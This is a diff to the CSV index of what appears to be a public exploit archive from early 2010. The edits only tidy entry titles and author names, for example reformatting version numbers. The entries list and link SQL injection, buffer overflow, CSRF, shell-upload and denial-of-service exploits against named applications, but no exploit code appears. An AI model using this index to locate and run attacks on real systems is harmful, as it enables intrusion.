 11330,platforms/windows/webapps/11330.txt,"ManageEngine OpUtils 5 ""Login.DO"" SQL Injection Vulnerability",2010-02-04,"Asheesh Anaconda",windows,webapps,0
 11331,platforms/windows/local/11331.txt,"Ipswitch IMAIL 11.01 reversible encryption + weak ACL",2010-02-04,sinn3r,windows,local,0
 11332,platforms/windows/dos/11332.pl,"Opera 10.10 Remote Code Execution DoS Exploit",2010-02-05,cr4wl3r,windows,dos,0
@@ -10386,30 +10386,30 @@ id,file,description,date,author,platform,type,port
 11334,platforms/php/webapps/11334.txt,"Audistats 1.3 SQL injection vulnerability",2010-02-05,kaMtiEz,php,webapps,0
 11336,platforms/php/webapps/11336.txt,"Open Bulletin Board Multiple Blind Sql Injection Vulnerability",2010-02-06,"AtT4CKxT3rR0r1ST ",php,webapps,0
 11337,platforms/php/webapps/11337.txt,"Joomla (com_photoblog) Blind Sql Injection Vulnerability",2010-02-06,"ALTBTA ",php,webapps,0
-11338,platforms/windows/dos/11338.py,"X-lite SIP v3 (wav) memory corruption Heap BOF exploit",2010-02-06,TecR0c,windows,dos,0
+11338,platforms/windows/dos/11338.py,"X-lite SIP 3.0 - (wav) memory corruption Heap BOF exploit",2010-02-06,TecR0c,windows,dos,0
 11339,platforms/php/webapps/11339.txt,"Arab Network Tech. (ANT) CMS SQL Injection",2010-02-06,Tr0y-x,php,webapps,0
 11340,platforms/php/webapps/11340.txt,"odlican.net cms 1.5 - Remote File Upload Vulnerability",2010-02-06,Anonymous,php,webapps,0
-11341,platforms/php/webapps/11341.txt,"ShopEx <= Single V4.5.1 Multiple Vulnerabilities",2010-02-06,cp77fk4r,php,webapps,0
-11342,platforms/windows/dos/11342.txt,"SQLite Browser v2.0b1 Local DoS Vulnerability",2010-02-06,"Nishant Das Patnaik",windows,dos,0
-11343,platforms/windows/dos/11343.py,"httpdx v1.5.2 Remote Pre-Authentication DoS (PoC crash)",2010-02-07,loneferret,windows,dos,0
+11341,platforms/php/webapps/11341.txt,"ShopEx Single <= 4.5.1 - Multiple Vulnerabilities",2010-02-06,cp77fk4r,php,webapps,0
+11342,platforms/windows/dos/11342.txt,"SQLite Browser 2.0b1 - Local DoS Vulnerability",2010-02-06,"Nishant Das Patnaik",windows,dos,0
+11343,platforms/windows/dos/11343.py,"httpdx 1.5.2 - Remote Pre-Authentication DoS (PoC)",2010-02-07,loneferret,windows,dos,0
 11344,platforms/php/webapps/11344.txt,"WSN Guest Database Disclosure Vulnerability",2010-02-07,HackXBack,php,webapps,0
 11345,platforms/php/webapps/11345.txt,"Zen Tracking <= 2.2 (Auth Bypass) SQL Injection Vulnerability",2010-02-07,cr4wl3r,php,webapps,0
 11346,platforms/php/webapps/11346.txt,"Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability",2010-02-07,cr4wl3r,php,webapps,0
-11347,platforms/windows/dos/11347.html,"Safari v4.0.4, Firefox v3.5.7, SeaMonkey v2.0.1 Remote Denial of Service",2010-02-07,"599eme Man",windows,dos,0
-11348,platforms/asp/webapps/11348.txt,"DA Mailing List System V2 Multiple Vulnerabilities",2010-02-07,Phenom,asp,webapps,0
+11347,platforms/windows/dos/11347.html,"Safari 4.0.4 + Firefox 3.5.7 + SeaMonkey 2.0.1 - Remote Denial of Service",2010-02-07,"599eme Man",windows,dos,0
+11348,platforms/asp/webapps/11348.txt,"DA Mailing List System 2 - Multiple Vulnerabilities",2010-02-07,Phenom,asp,webapps,0
 11349,platforms/php/webapps/11349.txt,"Exponent CMS 0.96.3 (articlemodule) Sql Injection Vulnerability",2010-02-07,"T u R c O",php,webapps,0
 11350,platforms/php/webapps/11350.txt,"Belkatalog CMS SQL Injection Vulnerability",2010-02-07,Anonymous,php,webapps,0
 11351,platforms/solaris/dos/11351.c,"Solaris/Open Solaris UCODE_GET_VERSION IOCTL Denial of Service",2010-02-07,"Patroklos Argyroudis",solaris,dos,0
 11352,platforms/php/webapps/11352.txt,"Joomla Component com_productbook SQL Injection Vulnerability",2010-02-07,Snakespc,php,webapps,0
-11353,platforms/php/webapps/11353.txt,"Croogo v1.2.1 Multiple CSRF Vulnerabilities",2010-02-07,"Milos Zivanovic",php,webapps,0
+11353,platforms/php/webapps/11353.txt,"Croogo 1.2.1 - Multiple CSRF Vulnerabilities",2010-02-07,"Milos Zivanovic",php,webapps,0
 11354,platforms/php/webapps/11354.txt,"Killmonster <= 2.1 (Auth Bypass) SQL Injection Vulnerability",2010-02-07,cr4wl3r,php,webapps,0
 11355,platforms/php/webapps/11355.txt,"EncapsCMS <= 0.3.6 (config[path]) Remote File Include Vulnerability",2010-02-07,cr4wl3r,php,webapps,0
 11356,platforms/php/webapps/11356.txt,"Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability",2010-02-07,cr4wl3r,php,webapps,0
 11357,platforms/php/webapps/11357.txt,"Uiga Business Portal SQL/ XSS Vulnerability",2010-02-07,"Sioma Labs",php,webapps,0
 11358,platforms/php/webapps/11358.txt,"TinyMCE WYSIWYG Editor Multiple Vulnerabilities",2010-02-07,mc2_s3lector,php,webapps,0
-11359,platforms/php/webapps/11359.txt,"JaxCMS v1.0 Local File Include Vulnerability",2010-02-08,"Hamza 'MizoZ' N.",php,webapps,0
+11359,platforms/php/webapps/11359.txt,"JaxCMS 1.0 - Local File Include Vulnerability",2010-02-08,"Hamza 'MizoZ' N.",php,webapps,0
 11360,platforms/php/webapps/11360.txt,"Blue Dove Sql Injection Vulnerability",2010-02-08,"HackXBack ",php,webapps,0
-11361,platforms/asp/webapps/11361.txt,"fipsForum v2.6 Remote Database Disclosure Vulnerability",2010-02-09,ViRuSMaN,asp,webapps,0
+11361,platforms/asp/webapps/11361.txt,"fipsForum 2.6 - Remote Database Disclosure Vulnerability",2010-02-09,ViRuSMaN,asp,webapps,0
 11363,platforms/windows/dos/11363.c,"UltraISO 9.3.6.2750 Local Buffer Overflow POC (0day)",2010-02-09,"fl0 fl0w",windows,dos,0
 11364,platforms/multiple/local/11364.txt,"LDAP Injection POC",2010-02-09,mc2_s3lector,multiple,local,0
 11365,platforms/php/webapps/11365.txt,"CPA Site Solutions Remote File Upload Vulnerability",2010-02-09,R3VAN_BASTARD,php,webapps,0
@@ -10418,31 +10418,31 @@ id,file,description,date,author,platform,type,port
 11368,platforms/php/webapps/11368.txt,"Yes Solutions - Webapp SQL Injection",2010-02-09,HackXBack,php,webapps,0
 11369,platforms/asp/webapps/11369.txt,"MOJO's IWMS <= 7 SQL Injection & Cross Site Scripting",2010-02-09,cp77fk4r,asp,webapps,0
 11372,platforms/windows/local/11372.c,"UltraISO 9.3.6.2750 Local Buffer Overflow Exploit (0day)",2010-02-09,"fl0 fl0w",windows,local,0
-11374,platforms/windows/dos/11374.pl,"WM Downloader v3.0.0.9 PLS PLA&#8207; WMDownloader  (PoC)",2010-02-09,jiko,windows,dos,0
+11374,platforms/windows/dos/11374.pl,"WM Downloader 3.0.0.9 - PLS WMDownloader (PoC)",2010-02-09,JiKo,windows,dos,0
 11375,platforms/php/webapps/11375.txt,"Zomorrod Cms Sql Injection Vulnerability",2010-02-09,"Pouya Daneshmand",php,webapps,0
 11376,platforms/php/webapps/11376.txt,"Fonts Site Script Remote File Disclosure Vulnerability",2010-02-09,jiko,php,webapps,0
-11377,platforms/php/webapps/11377.txt,"Limny v1.01 Remote File Upload Vulnerability",2010-02-09,jiko,php,webapps,0
+11377,platforms/php/webapps/11377.txt,"Limny 1.01 - Remote File Upload Vulnerability",2010-02-09,JiKo,php,webapps,0
 11378,platforms/php/webapps/11378.txt,"Newsletter Tailor v0.2.0 RFI Vulnerability",2010-02-09,Snakespc,php,webapps,0
-11379,platforms/windows/local/11379.c,"feedDemon v3.1.0.9 opml File Buffer Overflow Exploit",2010-02-09,"fl0 fl0w",windows,local,0
-11380,platforms/php/webapps/11380.txt,"osTicket v1.6 RC5 Multiple Vulnerabilities",2010-02-09,"Nahuel Grisolia",php,webapps,0
+11379,platforms/windows/local/11379.c,"feedDemon 3.1.0.9 - opml File Buffer Overflow Exploit",2010-02-09,"fl0 fl0w",windows,local,0
+11380,platforms/php/webapps/11380.txt,"osTicket 1.6 RC5 - Multiple Vulnerabilities",2010-02-09,"Nahuel Grisolia",php,webapps,0
 11382,platforms/php/webapps/11382.txt,"eSmile Script (index.php) SQL Injection Vulnerability",2010-02-10,AtT4CKxT3rR0r1ST,php,webapps,0
 11383,platforms/php/webapps/11383.txt,"HASHE! Solutions Multiple SQL Injection Vulnerabilities",2010-02-10,AtT4CKxT3rR0r1ST,php,webapps,0
-11384,platforms/windows/local/11384.py,"WM Downloader v3.0.0.9 PLS PLA Exploit (WinXP SP3)",2010-02-10,"Beenu Arora",windows,local,0
-11385,platforms/php/webapps/11385.txt,"ULoki Community Forum v2.1 (usercp.php) XSS Vulnerability",2010-02-10,"Sioma Labs",php,webapps,0
+11384,platforms/windows/local/11384.py,"WM Downloader 3.0.0.9 - PLS PLA Exploit (WinXP SP3)",2010-02-10,"Beenu Arora",windows,local,0
+11385,platforms/php/webapps/11385.txt,"ULoki Community Forum 2.1 - (usercp.php) XSS Vulnerability",2010-02-10,"Sioma Labs",php,webapps,0
 11391,platforms/windows/dos/11391.py,"Open and Compact FTPd Pre-Authentication Crash (PoC)",2010-02-10,loneferret,windows,dos,0
-11392,platforms/windows/dos/11392.c,"Radasm v2.2.1.6 .rap file Local Buffer Overflow PoC",2010-02-11,"fl0 fl0w",windows,dos,0
+11392,platforms/windows/dos/11392.c,"Radasm 2.2.1.6 - (.rap ) Local Buffer Overflow PoC",2010-02-11,"fl0 fl0w",windows,dos,0
 11393,platforms/jsp/webapps/11393.txt,"Omnidocs SQL injection Vulnerability",2010-02-11,thebluegenius,jsp,webapps,0
-11394,platforms/php/webapps/11394.txt,"vBulletin v3.5.2 XSS Vulnerabilities",2010-02-11,ROOT_EGY,php,webapps,0
+11394,platforms/php/webapps/11394.txt,"vBulletin 3.5.2 - XSS Vulnerabilities",2010-02-11,ROOT_EGY,php,webapps,0
 11395,platforms/php/webapps/11395.txt,"vBulletin 3.0.0 XSS Vulnerability",2010-02-11,ROOT_EGY,php,webapps,0
 11396,platforms/php/webapps/11396.txt,"vBulletin v 2.3 .* SQL Injection Vulnerability",2010-02-11,ROOT_EGY,php,webapps,0
 11397,platforms/php/webapps/11397.txt,"PHP Captcha Security Images DoS Vulnerability",2010-02-11,cp77fk4r,php,webapps,0
 11398,platforms/php/webapps/11398.txt,"GameRoom Script Admin Bypass and File Upload Vulnerability",2010-02-11,jiko,php,webapps,0
 11399,platforms/php/webapps/11399.txt,"myPHP Guestbook <= 2.0.4 Database Backup Dump Vulnerability",2010-02-11,ViRuSMaN,php,webapps,0
-11400,platforms/windows/local/11400.py,"Radasm v2.2.1.6 (.rap) Universal Buffer Overflow Exploit",2010-02-11,Dz_attacker,windows,local,0
+11400,platforms/windows/local/11400.py,"Radasm 2.2.1.6 - (.rap) Universal Buffer Overflow Exploit",2010-02-11,Dz_attacker,windows,local,0
 11401,platforms/php/webapps/11401.txt,"CD Rentals Script SQL injection Vulnerability",2010-02-11,"Don Tukulesto",php,webapps,0
 11402,platforms/php/webapps/11402.txt,"Books/eBooks Rental Software SQL injection Vulnerability",2010-02-11,"Don Tukulesto",php,webapps,0
 11403,platforms/multiple/webapps/11403.txt,"Cisco Collaboration Server 5 XSS, Source Code Disclosure",2010-02-11,s4squatch,multiple,webapps,80
-11404,platforms/multiple/webapps/11404.txt,"X-Cart Pro v4.0.13 SQL Injection Proof of Concept",2010-02-11,s4squatch,multiple,webapps,80
+11404,platforms/multiple/webapps/11404.txt,"X-Cart Pro 4.0.13 - SQL Injection Proof of Concept",2010-02-11,s4squatch,multiple,webapps,80
 11405,platforms/multiple/webapps/11405.txt,"RSA SecurID XSS Vulnerability",2010-02-11,s4squatch,multiple,webapps,80
 11406,platforms/windows/webapps/11406.txt,"J.A.G (Just Another Guestbook) Database Disclosure Vulnerability",2010-02-11,Phenom,windows,webapps,80
 11407,platforms/windows/dos/11407.txt,"Core Impact 7.5 Denial of Service Vulnerability",2010-02-11,"Beenu Arora",windows,dos,80
@@ -10450,13 +10450,13 @@ id,file,description,date,author,platform,type,port
 11409,platforms/multiple/webapps/11409.txt,"Video Games Rentals Script SQL Injection Vulnerability",2010-02-11,JaMbA,multiple,webapps,80
 11410,platforms/php/webapps/11410.txt,"Vacation Rental Script SQL Injection Vulnerability",2010-02-11,JaMbA,php,webapps,0
 11411,platforms/php/webapps/11411.txt,"apemCMS SQL Injection Vulnerability",2010-02-11,Ariko-Security,php,webapps,0
-11412,platforms/php/webapps/11412.txt,"Trade Manager  Script SQL injection Vulnerability",2010-02-11,JaMbA,php,webapps,0
+11412,platforms/php/webapps/11412.txt,"Trade Manager Script SQL injection Vulnerability",2010-02-11,JaMbA,php,webapps,0
 11413,platforms/windows/local/11413.pl,"CastRipper 2.50.70 (.asx) Playlist Stack Overflow Exploit",2010-02-12,"Jordi Chancel",windows,local,0
-11414,platforms/asp/webapps/11414.txt,"Infragistics WebHtmlEditor.v7.1 Multiple Vulnerabilities",2010-02-12,SpeeDr00t,asp,webapps,0
+11414,platforms/asp/webapps/11414.txt,"Infragistics WebHtmlEditor 7.1 - Multiple Vulnerabilities",2010-02-12,SpeeDr00t,asp,webapps,0
 11415,platforms/php/webapps/11415.txt,"Izumi <= 1.1.0 (RFI/LFI) Multiple Include Vulnerability",2010-02-12,cr4wl3r,php,webapps,0
-11416,platforms/php/webapps/11416.txt,"Alqatari Group Version 1.0 Blind SQL Injection Vulnerability",2010-02-12,Red-D3v1L,php,webapps,0
+11416,platforms/php/webapps/11416.txt,"Alqatari Group 1.0 - Blind SQL Injection Vulnerability",2010-02-12,Red-D3v1L,php,webapps,0
 11420,platforms/windows/remote/11420.py,"Open & Compact FTPd Pre-Authentication Remote Exploit",2010-02-12,Lincoln,windows,remote,0
-11422,platforms/windows/remote/11422.rb,"Hyleos ChemView v1.9.5.1 ActiveX Control Buffer Overflow Exploit (meta)",2010-02-12,Dz_attacker,windows,remote,0
+11422,platforms/windows/remote/11422.rb,"Hyleos ChemView 1.9.5.1 - ActiveX Control Buffer Overflow Exploit (meta)",2010-02-12,Dz_attacker,windows,remote,0
 11424,platforms/php/webapps/11424.txt,"CMS Made Simple 1.6.6 Multiple Vulnerabilities",2010-02-12,"Beenu Arora",php,webapps,0
 11425,platforms/php/webapps/11425.txt,"daChooch Remote Sql Injection Vulnerability",2010-02-12,Snakespc,php,webapps,0
 11426,platforms/multiple/dos/11426.txt,"Browser address bar characters into a small feature",2010-02-12,"Pouya Daneshmand",multiple,dos,0
@@ -10470,7 +10470,7 @@ id,file,description,date,author,platform,type,port
 11437,platforms/php/webapps/11437.txt,"ZeusCMS v0.2 (DBD/LFI) Multiple Vulnerabilities",2010-02-13,ViRuSMaN,php,webapps,0
 11438,platforms/windows/dos/11438.txt,"Internet Explorer 8 (Multitudinous looping) Denial of Service Exploit",2010-02-13,"Asheesh Kumar Mani Tripathi",windows,dos,0
 11440,platforms/php/webapps/11440.txt,"InterTech Co 1.0 SQL Injection",2010-02-13,Red-D3v1L,php,webapps,0
-11441,platforms/php/webapps/11441.txt,"WordPress >= 2.9 Failure to Restrict URL Access",2010-02-13,tmacuk,php,webapps,0
+11441,platforms/php/webapps/11441.txt,"WordPress => 2.9 - Failure to Restrict URL Access",2010-02-13,tmacuk,php,webapps,0
 11442,platforms/php/webapps/11442.txt,"PEAR 1.9.0 - Multiple Remote File Inclusion Vulnerability",2010-02-14,eidelweiss,php,webapps,0
 11443,platforms/php/webapps/11443.txt,"Calendarix v0.8.20071118 SQL Injection",2010-02-14,Thibow,php,webapps,0
 11444,platforms/php/webapps/11444.txt,"ShortCMS SQLi 1.2.0 (Last Version of 11/02/2010) and ALL < version",2010-02-14,Thibow,php,webapps,0
@@ -10478,84 +10478,84 @@ id,file,description,date,author,platform,type,port
 11446,platforms/php/webapps/11446.txt,"Mambo com_akogallery Remote Sql Injection Vulnerability",2010-02-14,snakespc,php,webapps,0
 11447,platforms/php/webapps/11447.txt,"Joomla (Jw_allVideos) Remote File Download Vulnerability",2010-02-14,"Pouya Daneshmand",php,webapps,0
 11449,platforms/php/webapps/11449.txt,"Joomla com_videos Remote Sql Injection Vulnerability",2010-02-14,Snakespc,php,webapps,0
-11450,platforms/php/webapps/11450.txt,"File Upload Manager v1.3 exploit",2010-02-14,ROOT_EGY,php,webapps,0
+11450,platforms/php/webapps/11450.txt,"File Upload Manager 1.3",2010-02-14,ROOT_EGY,php,webapps,0
 11451,platforms/windows/dos/11451.pl,"NovaPlayer 1.0 (.mp3) Local Denial of Service (DoS) #",2010-02-14,Mr.tro0oqy,windows,dos,0
-11452,platforms/php/webapps/11452.txt,"Katalog Stron Hurricane Multiple Vulnerability RFI / SQL",2010-02-14,kaMtiEz,php,webapps,0
+11452,platforms/php/webapps/11452.txt,"Katalog Stron Hurricane - Multiple Vulnerability RFI / SQL",2010-02-14,kaMtiEz,php,webapps,0
 11453,platforms/windows/remote/11453.py,"Wireshark 1.2.5 LWRES getaddrbyname BOF - calc.exe",2010-02-15,"Nullthreat and Pure|Hate",windows,remote,0
-11455,platforms/php/webapps/11455.txt,"Généré par KDPics v1.18 Remote Add Admin",2010-02-15,Snakespc,php,webapps,0
+11455,platforms/php/webapps/11455.txt,"Généré par KDPics 1.18 - Remote Add Admin",2010-02-15,Snakespc,php,webapps,0
 11456,platforms/php/webapps/11456.txt,"superengine CMS (Custom Pack) SQL Injection Vulnerability",2010-02-15,10n1z3d,php,webapps,0
 11457,platforms/windows/remote/11457.pl,"Internet Explorer (6/7) Remote Code Execution -Remote User Add Exploit",2010-02-15,"Sioma Labs",windows,remote,0
 11458,platforms/php/webapps/11458.txt,"WordPress Copperleaf Photolog SQL injection",2010-02-15,kaMtiEz,php,webapps,0
-11460,platforms/php/webapps/11460.txt,"Dodo Upload Version 1.3 Upload Shell (By pass) Vulnerability",2010-02-15,"indoushka ",php,webapps,0
-11461,platforms/php/webapps/11461.txt,"CoffieNet CMS By Pass Admin Vulnerability",2010-02-15,"indoushka ",php,webapps,0
-11462,platforms/php/webapps/11462.txt,"blog ink Bypass Setting Vulnerability",2010-02-15,"indoushka  ",php,webapps,0
+11460,platforms/php/webapps/11460.txt,"Dodo Upload 1.3 - Upload Shell (By pass) Vulnerability",2010-02-15,"indoushka salah el ddine",php,webapps,0
+11461,platforms/php/webapps/11461.txt,"CoffieNet CMS By Pass Admin Vulnerability",2010-02-15,"indoushka salah el ddine",php,webapps,0
+11462,platforms/php/webapps/11462.txt,"blog ink Bypass Setting Vulnerability",2010-02-15,"indoushka salah el ddine",php,webapps,0
 11463,platforms/php/webapps/11463.txt,"Joomla Component com_joomportfolio Blind Injection Vulnerability",2010-02-15,Snakespc,php,webapps,0
 11464,platforms/php/webapps/11464.txt,"Joomla Component com_hdvideoshare Sql Injection Vulnerability",2010-02-15,Snakespc,php,webapps,0
 11465,platforms/windows/local/11465.py,"Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit",2010-02-15,_SuBz3r0_,windows,local,0
 11466,platforms/php/webapps/11466.txt,"microUpload Shell Upload Vulnerability",2010-02-15,Phenom,php,webapps,0
-11467,platforms/hardware/dos/11467.py,"Apple Iphone/Ipod - My DBLite Edition Remote 0day DOS Exploit",2010-02-15,"Jason Bowes",hardware,dos,0
-11468,platforms/windows/remote/11468.py,"Easy~Ftp Server v1.7.0.2 Post-Authentication BoF",2010-02-15,dookie,windows,remote,21
-11469,platforms/windows/dos/11469.py,"Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (SEH) (PoC)",2010-02-15,loneferret,windows,dos,0
-11470,platforms/windows/dos/11470.py,"Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (PoC)",2010-02-15,loneferret,windows,dos,0
-11472,platforms/hardware/dos/11472.py,"Apple Iphone/Ipod - FTP On The Go 2.1.2 - HTTP Remote DoS",2010-02-15,TecR0c,hardware,dos,0
+11467,platforms/hardware/dos/11467.py,"iOS My DBLite Edition - Remote 0day DOS Exploit",2010-02-15,"Jason Bowes",hardware,dos,0
+11468,platforms/windows/remote/11468.py,"Easy~Ftp Server 1.7.0.2 - Post-Authentication BoF",2010-02-15,dookie,windows,remote,21
+11469,platforms/windows/dos/11469.py,"Easy~Ftp Server 1.7.0.2 - Post-Authentication BoF (SEH) (PoC)",2010-02-15,loneferret,windows,dos,0
+11470,platforms/windows/dos/11470.py,"Easy~Ftp Server 1.7.0.2 - Post-Authentication BoF (PoC)",2010-02-15,loneferret,windows,dos,0
+11472,platforms/hardware/dos/11472.py,"iOS FTP On The Go 2.1.2 - HTTP Remote DoS",2010-02-15,TecR0c,hardware,dos,0
 11473,platforms/php/webapps/11473.txt,"Pogodny CMS SQL Injection Vulnerability",2010-02-16,Ariko-Security,php,webapps,0
 11474,platforms/php/webapps/11474.txt,"Mambo Component com_acnews [id] SQL Injection Vulnerability",2010-02-16,"Zero Bits and Xzit3",php,webapps,0
-11475,platforms/windows/local/11475.txt,"OtsTurntables Free v1.00.047 (.olf) Universal Buffer Overflow Exploit",2010-02-16,mr_me,windows,local,0
-11476,platforms/php/webapps/11476.txt,"SongForever.com Clone Shell Upload Vulnerability",2010-02-16,indoushka,php,webapps,0
-11477,platforms/php/webapps/11477.txt,"Limny v2.0 Change Email and Password CSRF Exploit",2010-02-16,"Luis Santana",php,webapps,0
-11478,platforms/php/webapps/11478.txt,"Limny v2.0 Create Admin User CSRF Exploit",2010-02-16,"Luis Santana",php,webapps,0
+11475,platforms/windows/local/11475.txt,"OtsTurntables Free 1.00.047 - (.olf) Universal Buffer Overflow Exploit",2010-02-16,mr_me,windows,local,0
+11476,platforms/php/webapps/11476.txt,"SongForever.com Clone Shell Upload Vulnerability",2010-02-16,"indoushka salah el ddine",php,webapps,0
+11477,platforms/php/webapps/11477.txt,"Limny 2.0 Change Email and Password - CSRF Exploit",2010-02-16,"Luis Santana",php,webapps,0
+11478,platforms/php/webapps/11478.txt,"Limny 2.0 - Create Admin User CSRF Exploit",2010-02-16,"Luis Santana",php,webapps,0
 11479,platforms/php/webapps/11479.txt,"Joomla Component com_acstartseite Sql Injection Vulnerability",2010-02-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
 11480,platforms/php/webapps/11480.txt,"Joomla Component com_acprojects Sql Injection Vulnerability",2010-02-17,AtT4CKxT3rR0r1ST,php,webapps,0
 11481,platforms/php/webapps/11481.txt,"intuitive (form.php) Sql Injection Vulnerability",2010-02-17,AtT4CKxT3rR0r1ST,php,webapps,0
 11482,platforms/php/webapps/11482.txt,"Nabernet (articles.php) Sql Injection Vulnerability",2010-02-17,AtT4CKxT3rR0r1ST,php,webapps,0
 11483,platforms/php/webapps/11483.txt,"Joomla Component com_acteammember SQL Injection Vulnerability",2010-02-17,altbta,php,webapps,0
 11484,platforms/php/webapps/11484.txt,"uGround <= 1.0b SQL Injection Vulnerability",2010-02-17,"Easy Laster",php,webapps,0
-11485,platforms/php/webapps/11485.txt,"Multiple File Attachments Mail Form Pro v2 - WebShell upload",2010-02-17,EgoPL,php,webapps,0
+11485,platforms/php/webapps/11485.txt,"Multiple File Attachments Mail Form Pro 2.0 - WebShell upload",2010-02-17,EgoPL,php,webapps,0
 11486,platforms/php/webapps/11486.txt,"PHPIDS 0.4 - Remote File Inclusion Vulnerability",2010-02-17,eidelweiss,php,webapps,0
 11487,platforms/php/webapps/11487.txt,"Auktionshaus v.4 news.php SQL Injection Vulnerability",2010-02-17,"Easy Laster",php,webapps,0
 11488,platforms/php/webapps/11488.txt,"Auktionshaus Gelb v.3 news.php SQL Injection Vulnerability",2010-02-17,"Easy Laster",php,webapps,0
 11489,platforms/php/webapps/11489.txt,"Erotik Auktionshaus news.php SQL Injection Vulnerability",2010-02-17,"Easy Laster",php,webapps,0
-11490,platforms/php/webapps/11490.txt,"PunBBAnnuaire <=0.4 Blind SQL Injection Vulnerability",2010-02-17,Metropolis,php,webapps,0
+11490,platforms/php/webapps/11490.txt,"PunBBAnnuaire <= 0.4 - Blind SQL Injection Vulnerability",2010-02-17,Metropolis,php,webapps,0
 11491,platforms/multiple/local/11491.rb,"iTunes 9.0.1 .pls File Handling Buffer Overflow",2010-02-17,"S2 Crew",multiple,local,0
-11492,platforms/windows/dos/11492.html,"Rising Online Virus Scanner v22.0.0.5 ActiveX Control DoS (Stack overflow)",2010-02-18,wirebonder,windows,dos,0
+11492,platforms/windows/dos/11492.html,"Rising Online Virus Scanner 22.0.0.5 - ActiveX Control DoS (Stack overflow)",2010-02-18,wirebonder,windows,dos,0
 11494,platforms/php/webapps/11494.txt,"Joomla Component com_otzivi Local File Inclusion Vulnerability",2010-02-18,AtT4CKxT3rR0r1ST,php,webapps,0
 11495,platforms/php/webapps/11495.txt,"CubeCart (index.php) SQL Injection Vulnerability",2010-02-18,AtT4CKxT3rR0r1ST,php,webapps,0
-11496,platforms/php/webapps/11496.txt,"Open Source Classifieds v1.1.0 Alpha (OSClassi) Multiple Vulnerabilities",2010-02-18,"Sioma Labs",php,webapps,0
-11497,platforms/linux/remote/11497.txt,"gitWeb v1.5.2 Remote Command Execution",2010-02-18,"S2 Crew",linux,remote,0
+11496,platforms/php/webapps/11496.txt,"Open Source Classifieds 1.1.0 - Alpha (OSClassi) Multiple Vulnerabilities",2010-02-18,"Sioma Labs",php,webapps,0
+11497,platforms/linux/remote/11497.txt,"gitWeb 1.5.2 - Remote Command Execution",2010-02-18,"S2 Crew",linux,remote,0
 11498,platforms/php/webapps/11498.txt,"Joomla Plugin Core Design Scriptegrator Local File Inclusion Vulnerability",2010-02-18,"S2 Crew",php,webapps,0
-11499,platforms/hardware/dos/11499.pl,"FileApp v1.7 for iPhone/iPod Remote DoS Exploit",2010-02-18,Ale46,hardware,dos,0
-11500,platforms/windows/remote/11500.py,"Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit",2010-02-18,"ThE g0bL!N",windows,remote,0
+11499,platforms/hardware/dos/11499.pl,"iOS FileApp 1.7 - Remote DoS Exploit",2010-02-18,Ale46,hardware,dos,0
+11500,platforms/windows/remote/11500.py,"Easy~Ftp Server 1.7.0.2 - (HTTP) Remote BoF Exploit",2010-02-18,"ThE g0bL!N",windows,remote,0
 11502,platforms/php/webapps/11502.txt,"phpAutoVideo CSRF Vulnerability",2010-02-19,GoLdeN-z3r0,php,webapps,0
-11503,platforms/php/webapps/11503.txt,"Litespeed Web Server v4.0.12 (Add Admin) CSRF and XSS Vulnerabilities",2010-02-19,d1dn0t,php,webapps,0
-11504,platforms/php/webapps/11504.txt,"SQL injection vulnerability in Amelia CMS",2010-02-19,Ariko-Security,php,webapps,0
+11503,platforms/php/webapps/11503.txt,"Litespeed Web Server 4.0.12 - (Add Admin) CSRF and XSS Vulnerabilities",2010-02-19,d1dn0t,php,webapps,0
+11504,platforms/php/webapps/11504.txt,"Amelia CMS - SQL injection vulnerability",2010-02-19,Ariko-Security,php,webapps,0
 11507,platforms/php/webapps/11507.txt,"WSC CMS (Bypass) SQL Injection Vulnerability",2010-02-19,Phenom,php,webapps,0
 11508,platforms/php/webapps/11508.txt,"Trixbox PhonecDirectory.php SQL Injection",2010-02-19,NorSlacker,php,webapps,0
-11509,platforms/php/webapps/11509.txt,"Phpkit v1.6.1 Multiple SQL Injection Vulnerabilities",2010-02-19,"Easy Laster",php,webapps,0
+11509,platforms/php/webapps/11509.txt,"Phpkit 1.6.1 - Multiple SQL Injection Vulnerabilities",2010-02-19,"Easy Laster",php,webapps,0
 11511,platforms/php/webapps/11511.txt,"Joomla Component com_communitypolls LFI Vulnerability",2010-02-19,kaMtiEz,php,webapps,0
 11515,platforms/php/webapps/11515.txt,"FlatFile Login System - Remote Password Disclosure Vulnerability",2010-02-20,ViRuSMaN,php,webapps,0
 11516,platforms/php/webapps/11516.html,"TimeClock CSRF Remote Add Admin Exploit",2010-02-20,ViRuSMaN,php,webapps,0
 11517,platforms/php/webapps/11517.txt,"Netzbrett Database Disclosure Vulnerability",2010-02-20,ViRuSMaN,php,webapps,0
 11518,platforms/php/webapps/11518.txt,"Softbiz Jobs (news_desc) SQL Injection Vulnerability",2010-02-22,Baybora,php,webapps,0
-11519,platforms/php/webapps/11519.txt,"Ac4p.com Gallery v1.0 Multiple Vulnerabilities",2010-02-22,indoushka,php,webapps,0
-11520,platforms/hardware/dos/11520.pl,"iFTPStorage v1.2 for Iphone\Ipod - Remote Dos Exploit",2010-02-22,Ale46,hardware,dos,0
-11521,platforms/php/webapps/11521.txt,"Ero Auktion v2.0 (news.php) SQL Injection Vulnerability",2010-02-22,"Easy Laster",php,webapps,0
-11522,platforms/php/webapps/11522.txt,"Ero Auktion v2010 (news.php) SQL Injection Vulnerability",2010-02-22,"Easy Laster",php,webapps,0
-11523,platforms/php/webapps/11523.txt,"Galerie Dezign-Box France Multi Vulnerability",2010-02-22,indoushka,php,webapps,0
-11524,platforms/php/webapps/11524.txt,"Arab Cart Version v1.0.2.0 Multiple Vulnerabilities",2010-02-22,indoushka,php,webapps,0
-11526,platforms/php/webapps/11526.txt,"vBSEO v3.1.0 Local File Inclusion Vulnerability",2010-02-22,ViRuSMaN,php,webapps,0
+11519,platforms/php/webapps/11519.txt,"Ac4p.com Gallery 1.0 - Multiple Vulnerabilities",2010-02-22,"indoushka salah el ddine",php,webapps,0
+11520,platforms/hardware/dos/11520.pl,"iOS iFTPStorage 1.2 - Remote Dos Exploit",2010-02-22,Ale46,hardware,dos,0
+11521,platforms/php/webapps/11521.txt,"Ero Auktion 2.0 - (news.php) SQL Injection Vulnerability",2010-02-22,"Easy Laster",php,webapps,0
